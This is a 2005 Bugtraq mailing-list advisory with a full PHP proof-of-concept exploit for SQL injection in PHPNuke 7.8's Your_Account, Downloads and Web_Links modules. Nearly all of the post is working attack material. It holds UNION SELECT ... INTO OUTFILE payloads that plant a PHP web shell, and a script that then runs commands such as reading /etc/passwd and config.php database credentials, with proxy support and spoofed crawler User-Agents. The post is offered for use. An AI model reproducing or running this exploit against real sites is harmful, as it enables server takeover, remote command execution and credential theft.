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Message-ID: <20051023233354.16770.qmail@securityfocus.com>
Date: 23 Oct 2005 23:33:54 -0000
From: retrogod@...ceposta.it
To: bugtraq@...urityfocus.com
Subject: PhpNuke 7.8 with all security fixes/patches "Your_Account",
"Downloads", "Web Links" SQL Injection / Remote commans execution
PHPNuke 7.8 with all security fixes/patches "Downloads", "Web_Links" & "Your_Account"
SQL INjection -> remote commands execution poc exploit
there are a lot of unsanitized vars in every module, as I can see, so
if magic_quotes_gpc is Off -> SQL INJECTION
1) you can go to "Your Account" and submit a username like this:
' UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo "Hi Master";ini_set("max_execution_time",0);system($_GET[cmd]);die;?>',0 INTO OUTFILE '../../WWW/PHPNUKE/shell.php' FROM nuke_users/*
login field is too small to do it manually but you can see my poc below
to create a shell.php file in a writable directory
the launch commands:
http://[target]/[path_to_shell]/shell.php?cmd=cat%20/etc/passwd
2) the same in "Downloads" module:
http://[target]/[path]/modules.php?name=Downloads&d_op=Add&url=[SQL]&title=what&description=what
3) ... and in "Web_links" module:
http://[target]/[path]/modules.php?name=Web_Links&l_op=Add&title=what&description=[SQL]&url=what
I have not seen 7.9 version but it can be also vulnerable, try it on it,
this is my poc exploit:
<?php
# 20.05 23/10/2005 #
# #
# ---phpnuke_78_xpl.php #
# #
# PHPNuke 7.8 with all security fixes/patches "Downloads","Web_Links" & #
# "Your_Account" modules SQL Injection / remote commands execution exploit #
# (yet not tested 7.9, but OK...) #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: customize for your own pleasure, launch this script from Apache, #
# fill requested fields, then go! #
# #
# Sun-Tzu: "Standing on the defensive indicates insufficient strength; #
# attacking, a superabundance of strength" #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title> PHPNuke 7.8 remote commands execution </title><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style
type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head> <body> <p class="Stile6">
PHPNuke 7.8 (possibly prior versions) remote commands execution</p><p class="
Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value"><p><input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input
type="text" name="path"><span class="Stile5"> path ( ex: /phpnuke/ or just /)
</span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5"> path
to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement
(default: ../../www) </span></p><p><input type="text" name="port" > <span
class="Stile5"> specify a port other than 80 (default value)</span> </p><p>
<input type="text" name="command"> <span class="Stile5">a Unix command ,
example: ls -la to list directories, cat /etc/passwd to show passwd file, cat
config.php to see database username and password</span>
</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through
an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit"
value="go!"></p></form></td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
function execute_commands()
{
global $p, $host, $port, $packet, $command, $html;
$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: CLose\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; }
}
if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($pathtoWWW=='') {$pathtoWWW="../../www";}
#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for
#different Apache installations
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo $proxy;
# STEP 1 -> SQL injection in "Your_Account" module... inject a shell
$SQL="'UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo \"Hi Master\";ini_set(\"max_execution_time\",0);system(\$_GET[cmd]);die;?>',0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_users/*";
$data="username=".urlencode($SQL)."&user_password=&redirect=&mode=&f=&t=&op=login";
$packet="POST ".$p."modules.php?name=Your_Account HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."modules.php?name=Your_Account\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Lycos_Spider_(T-Rex)\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: lang=english\r\n\r\n";
$packet.=$data;
show($packet);
//sendpacketii($packet);
execute_commands();
#STEP 2 -> if STEP 1 failed, SQL Injection in "Downloads" module...
//we need to use backticks (shell operators, they are not quotes, some chars like ")" are not permitted in urls...
$SQL="' UNION SELECT '<?echo \'Hi Master\';print `\$_GET[cmd]`;?>' INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_downloads_downloads/*";
$packet="GET ".$p."modules.php?name=Downloads&d_op=Add&url=".urlencode($SQL)."&title=what&description=what HTTP/1.1\r\n";
$packet.="User-Agent: SearchExpress Spider0.99\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: CLose\r\n\r\n";
show($packet);
//sendpacketii($packet);
execute_commands();
#STEP 3 -> if STEP 1 & 2 failed, SQL injection in "Web_Links" module...
$SQL="' or 'x'='x' UNION SELECT 0,0,0,0,0,0,'Hi Master<?print `\$_GET[cmd]`;?>',0,0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_links_newlink/*";
$packet="GET ".$p."modules.php?name=Web_Links&l_op=Add&title=what&description=".urlencode($SQL)."&url=what HTTP/1.1\r\n";
$packet.="User-Agent: Web Link Validator 1.5\r\n";
$packet.="Host: ".$host.":".$port."\r\n";
$packet.="Connection: CLose\r\n\r\n";
show($packet);
sendpacketii($packet);
execute_commands();
//if you are here...
echo 'Exploit failed...';
}
else
{echo 'Fill in requested fields, optionally specify a proxy';}
?>
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta.it
original advisory: http://rgod.altervista.org/phpnuke78sql.html
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